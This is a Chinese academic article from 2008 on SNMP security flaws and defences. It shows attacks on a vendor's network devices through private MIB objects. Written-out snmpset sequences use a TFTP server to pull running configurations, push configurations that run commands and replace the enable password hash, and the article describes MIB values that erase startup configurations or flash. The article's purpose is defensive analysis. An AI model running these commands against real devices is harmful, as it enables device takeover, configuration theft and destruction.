摘要:針對SNMP(簡單網絡管理協議)的安全威脅,文中對SNMP協議在安全性方面存在的問題進行了論述,以某知名廠商為例,探討了利用SNMP協議對其網絡設備的攻擊,并據此提出了一些防范的建議與措施。
關鍵詞:SNMP;MIB;攻擊
中圖分類號:TP393文獻標識碼:A文章編號:1009-3044(2008)09-11611-03
The Security Analysis of SNMP Protocol and Its Attack and Defense
ZHAO Jin-qi
(Qinhuangdao, Hebei 92785 Troops Technology Room, Qinhuangdao 066200, China)
Abstract: Considering the menace of SNMP's security, In the article,the question which existed in the SNMP protocol about security has been analysed,Take a well-known manufacturer as the example, Discussed has used the SNMP protocol to its network device attack,And according to the above put forward some guards proposals and the measure for frustrating the attacks.
Key words: Snmp; Mib; Attack
網絡管理協議提供了一種管理不同廠商網絡設備的標準方法,實現了對網絡設備規范化管理。簡單網絡管理協議(SNMP)由互聯網體系結構委員會IAB(Internet Activities Board)下屬的互聯網工程任務組IETF(Internet Engineering Task Force)制定并實現,其建立在簡單網關監視協議SGMP(Simple Gateway Monitoring Protocol)基礎上。SNMP最初只是作為一種臨時解決方案提出的,但由于其具有簡單實用優點,所以大多數廠商的設備均對其支持,Internet工作委員會也推薦SNMP作為基于TCP/IP的互聯網絡管理標準協議,SNMP歷經v1、v2(包括v2p、v2c、v2u和v2*)和V3,目前己成為INTERNET事實上的網絡管理標準協議。
1 SNMP基本結構及其安全性分析
SNMP網絡管理包括3個部分:即SNMP主體(SNMPv3之前稱SNMP Agent和SNMP Managers)、管理信息庫MIB(Management Information Base)和管理信息結構SMI(Structure of Management Information)。SNMP主體是網絡管理站和被管代理(運行在被管設備上SNMP服務程序),MIB是存貯在被管設備上通過被管代理進行管理的管理項集合,SMI規定了MIB的體系結構和語法結構。
1.1 SNMPv1、v2安全性分析
SNMPv1、v2的結構模型是一個網絡管理站和網元的集合,網元代理和管理站通過SNMP協議中標準消息進行明文通信,以UDP協議作傳輸協議,進行無連接操作,同時采用團體名作為惟一授權實體認證鑒別手段。這樣實現的好處是簡單高效,但極不安全。因SNMPv1、v2c管理站和被管代理之間的信息交換采用明文方式,攻擊者只要能夠截獲管理站與被管代理的交互信息,就能輕松得到團體名。此外,攻擊者利用截獲的SNMP管理消息流,還可以通過惡意重組、延遲和重放等手段實現攻擊目地。
MIB為SNMP管理對象數據庫,對被管代理MIB管理對象變量進行讀寫操作就可以實現對被管設備管理或控制。除標準MIB-2外,廠商可根據需要擴展MIB,稱為私有MIB(Private MIB)。私有MIB使網絡管理功能更加靈活強大,但這些增強的管理功能一旦被誤用,將會對被管設備產生巨大威脅。因此,很多網管軟件都避免使用這些危險功能,這就使網絡管理員不了解或根本不知道有這些功能存在,而攻擊者一旦了解這些功能,就能在管理員毫無防備的情況下控制或癱瘓網絡設備。
有些設備在實現SNMP時,由于程序設計存在BUG,管理站在解析和處理Trap消息及SNMP代理在處理請求消息時存在某些缺陷,當攻擊者將數據包構造成含有異常字段值或過長的對象識別時,會引起管理站或被管設備內存耗盡、堆棧耗盡、緩沖區溢出及越界執行代碼等致命錯誤,從而導致管理站、被管設備重啟、死機或錯誤的執行某些代碼。
1.2 SNMPv3的發展與安全性分析
SNMPv3針對前兩版的缺陷,通過安全認證與消息加密技術使SNMP的安全性得到很大提高,但SNMPv3在認證和消息加密上消耗了大量管理站、被管設備及網絡的資源,在效率上比前兩版要低,再加上很多老設備不支持SNMPv3等原因,使得SNMPv3目前還不能得到廣泛運用。即使完全使用SNMPv3管理設備,也不是百分百安全的,SNMPv3通過加密使攻擊者利用嗅探方式截獲SNMP主體間交換信息的攻擊方法不再可行,但它不具有防御DoS攻擊、防御溢出攻擊、防御暴力窮舉獲取認證用戶名與密碼的能力,因此即使是完全采用SNMPv3來管理網絡,設置時也要充分考慮安全方面的問題,不給攻擊者以可乘之機。
2 基于SNMP對網絡設備的攻擊
以下筆者以某著名廠商(以下簡稱廠商A)的交換機、路由器為例,通過分析其公布的私有MIB,舉例說明攻擊者如何利用私有MIB的一些具體功能,達到攻擊網絡設備的目地。
利用SNMP對網絡設備攻擊,概括來說無非通過兩種方式:(1)想辦法得到SNMP具有寫權限的團體名(SNMPv1、v2c)、用戶名與密碼(SNMPv3),然后針對私有MIB某些功能對SNMP代理進行操作,達到控制或癱瘓被管設備目的;(2)構造畸型SNMP數據包,使被管代理崩潰或越界讀寫私有MIB項。下面假設攻擊者已經得到具有寫權限的團體名或用戶名與密碼,或者攻擊者構造的畸型SNMP數據包可以使被管代理執行私有MIB管理功能,至于如何得到團體名及構造畸型SNMP數據包,在此就不再細述。
2.1 廠商A私有MIB危險功能描述
廠商A不同版本IOS中私有MIB內容并不相同,某版本的MIB管理項可能在其它版本就不使用或改到別的管理項中,因此筆者只針對IOS12.0舉幾項危險功能進行分析。
存在FLASH上的IOS是交換機、路由器的操作系統,沒有它交換機、路由器就不能工作,同樣在NVRAM中如果沒有正確的配置文件,設備就不能按照要求正常工作,因此這兩者對設備正常工作是缺一不可的。攻擊者只要針對這兩個文件進行操作,就能達到癱瘓或控制被管設備的目的。
2.2 利用SNMP下載、上傳被管設備配置文件及遠程執行命令
廠商A在其IOS12.0私有MIB中有一名為ccCopyTable的表,修改此表中某些管理項值,再配合TFTP服務,可下載、上傳被管設備配置文件,通過上傳帶命令的配置文件還可以遠程執行命令。以下通過ASN.1語句來描述此表(為了方便只給出關鍵表項,并對表項作了簡化,去除了描述項):
表項1、ccCopyProtocol OBJECT-TYPE
SYNTAX INTEGER {tftp(1),ftp(2),rcp(3)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 2 }
表項2、ccCopySourceFileType OBJECT-TYPE
SYNTAX INTEGER {networkFile(1),iosFile(2),startupConfig(3),
runningConfig(4),terminal(5)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 3 }
表項3、ccCopyDestFileType OBJECT-TYPE
SYNTAX INTEGER {networkFile(1),iosFile(2),startupConfig(3),
runningConfig(4),terminal(5)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 4 }
表項4、ccCopyServerAddress OBJECT-TYPE
SYNTAX IpAddress
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 5 }
表項5、ccCopyFileName OBJECT-TYPE
SYNTAX DisplayString
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 6 }
表項6、ccCopyEntryRowStatus OBJECT-TYPE
SYNTAX INTEGER {entryrun(1)}
MAX-ACCESS read-create
STATUS current
::= { ccCopyEntry 14 }
按造上面所列表項,只要管理端發送相應的SNMP管理報文,將它們改變成某個相應值,就可以將被管設備配置文件下載到某一TFTP服務器上。如可以通過SNMP測試命令發送這些管理報文:
1.Snmpset ccCopyEntry.2 int32 1 (選傳輸協議為TFTP)
2.mpset ccCopyEntry.3 int32 4 (選下載runningConfig)
3.Snmpset ccCopyEntry.4 int32 1(選networkFile傳到網絡服務器)
4.Snmpset ccCopyEntry.5 ipaddress x.x.x.x (TFTP服務器IP地址)
5.Snmpset ccCopyEntry.6 string abc.txt (把正在運行的配置文件以abc.txt名下載到TFTP服務器上)
6.Snmpset ccCopyEntry.14 int32 1 (此包發送后,被管代理就會按上面要求將runningConfig以abc.txt名存到TFTP服務器上)
要將TFTP服務器上某個配置文件上傳到被管設備,可通過下述命令實現:
1.Snmpset ccCopyEntry.2 int32 1 (選傳輸協議為TFTP)
2.Snmpset ccCopyEntry.3 int32 1 (選networkFile指從網絡服務器傳入)
3.Snmpset ccCopyEntry.4 int32 4(將上傳文件并入runningConfig)
4.Snmpset ccCopyEntry.5 ipaddress x.x.x.x (TFTP服務器IP地址)
5.Snmpset ccCopyEntry.6 string abc.txt (TFTP服務器要上傳配置文件名為abc.txt)
6.Snmpset ccCopyEntry.14 int32 1 (此包發送后,被管代理就會接收TFTP服務器上傳的abc.txt文件,并將其并入runningConfig)
遠程執行命令只要使上傳配置文件中含有要執行的命令,將其上傳就能夠并入runningConfig執行。在廠商A交換、路由設備中enable口令是經過MD5加密的,不能被還原成明文,但如果用自己知道的MD5密碼字符串替換原MD5字符串,就能以管理員權限通過telnet登錄被管設備了。遠程替換enable口令,可由以下過程實現:
(1)修改TFTP服務器中abc.txt,使其只含有以下命令語句(加密口令明文為abc)
enable secret 5 $1$2GSL$ghuyOHAwvHF1gKusxTZaW1
(2)利用上面介紹的上傳配置文件方法,將abc.txt當成配置文件上傳到被管代理,并入runningConfig執行后,enable口令就被改成了abc。
2.3 利用SNMP遠程操作被管設備的FLASH或FLASH中的文件
標量1、writeMem OBJECT-TYPE
SYNTAX INTEGER{ copyrunningconfigtostartconfig(1),
erase startconfig(0)}
MAX-ACCESS read-create
STATUS obsolete
::= { lsystem 54 }
標量2、flashErase OBJECT-TYPE
SYNTAX INTEGER{ eraseflash(1) }
MAX-ACCESS write-only
STATUS mandatory
::= { lflash 6 }
標量1的值如被設成1,相當于在網絡設備上運行命令copy running-config startup-config,也就是將正在運行的配置保存到啟動配置文件中,將此標量值設為0,相當于運行erase startup-config命令,會將啟動配置文件刪除。將標量2的值設為1,相當于運行命令erase flash,flash中所有文件,包括IOS、配置文件都將被刪除,設備重啟后將完全癱瘓。
此外在IOS12.1中還包括了大量對FLASH直接操作功能,如可以直接刪除FLASH中所有文件,格式化FLASH等。
上面只列出廠商A私有MIB中部分危險功能,此類功能在其私有MIB中還有很多,在此就不一一贅述。從上面例子可知,管理員如不對這些私有MIB功能的訪問加以控制,一旦被攻擊者利用,后果是非常嚴重的。其它網絡廠家私有MIB也有這些相似功能,因此管理員在使用SNMP協議時,一定要查清廠家公布的私有MIB中那些功能可能對設備安全有害,并針對這些危險功能通過視圖等安全措施將其控制在安全的使用范圍內。
3 SNMP攻擊防范策略
由于SNMPv1、v2c與SNMPv3在安全方面的差異,因此針對不同SNMP版本實現,應采用不同安全防范策略。
3.1 SNMPvl、v2安全防范策略
對于實現SNMPvl、v2的設備,由于缺少鑒別和加密機制,因此通常采取如下防范策略:
(1)在不必要的情況下關閉SNMP服務。對于安全性要求相對較高的設備,如果不是必需,最好關閉其SNMP代理,不提供SNMP服務。
(2)修改設備缺省團體名。由于很多廠商設備在出廠時常常將SNMP只讀團體名缺省值設置為Public,讀寫操作團體名缺省值設置為Private,這給攻擊者提供了使用缺省SNMP團體名攻擊的機會,因此需要設置相對復雜的SNMP團體名。
(3)管理站IP地址限定。管理站與代理之間通過不加密的SNMPvl、v2數據流進行信息交流,攻擊者只要截獲一個SNMP數據包就可以得到明文團體名。因此管理員在設置時一定要對內部未授權主機采取SNMP訪問控制,限定只有SNMP管理站的IP地址有權發起SNMP請求,通過訪問控制阻擋來自未授權主機IP地址的SNMP請求信息。但這種方法對UDP源IP地址欺騙不能奏效。
(4)設置訪問控制,限制從被管設備上利用TFTP、RCP、FTP等方式下載或上傳文件。
(5)在深入研究所使用設備私有MIB基礎上,找出有可能危及設備安全的私有MIB項,通過視圖將具有寫權限的團體名能夠訪問的MIB項控制在安全范圍內,或完全禁止對私有MIB的訪問。
(6)定期更新IOS,采用最新版IOS可以盡可能減少攻擊者利用IOS的BUG對私有MIB進行訪問或進行其它溢出攻擊。
3.2 SNMPv3安全防范策略
SNMPv3認證和加密機制完善,攻擊者難以通過截取SNMP數據包得到有用信息,也不能將截取的數據包加工重放進行攻擊,因此通常采取如下防范策略:
(1)設置復雜的用戶名與密碼,并限定管理站的IP地址。
(2)通過視圖將用戶的訪問嚴格限定在某一固定范圍內,注意不要輕易將私有MIB包含進用戶視圖中。
(3)定期更新,升級使用最新版IOS,以防止攻擊者利用IOS的BUG越界訪問私有MIB。
4 結束語
SNMP協議的設計思想是將其設計成一個簡單高效的網管協議,這也是其能夠被廣泛使用的重要原因,但效率和安全有時是不能同時兼顧的,SNMPv1、v2c只要運行,即使做好防護,還是難以完全阻止攻擊者的進攻,但其優點是運行效率高。SNMPv3安全性能強,但其為安全付出的代價太大,當用SNMPv3管理大量網絡設備時,網管工作站很有可能因為大量加密解密數據使CPU和內存高負荷運轉而最終死機,同時網絡管理占用的帶寬也會大量增加。筆者認為在目前情況下,充分利用各版協議的長處,對效率與安全進行綜合考慮,才是網絡管理的最佳選擇。如管理數據流經過的區域是安全可信區,可采用SNMPv1、v2c進行管理,而管理數據流要經過不安全可信區域,才使用SNMPv3進行管理,并且最好采用分布式管理,將管理負荷由多臺網管工作站共同負擔,網絡管理才能正常有效的運行下去。
參考文獻:
[1] Wijnen B,Harrington D,Presuhn R. An Architecture for Describing SNMP Management Frameworks[S].RFC2571,1999-04.
[2] 楊家海,任憲坤,王沛瑜. 網絡管理原理與實現技術[M].清華大學出版社,2000.
[3] 岑賢道,安常表. 網絡管理協議及應用開發[M].清華大學出版社,1998.
[4] 瀟湘工作室. SNMPv3與網絡管理[M].人民郵電出版社,2000.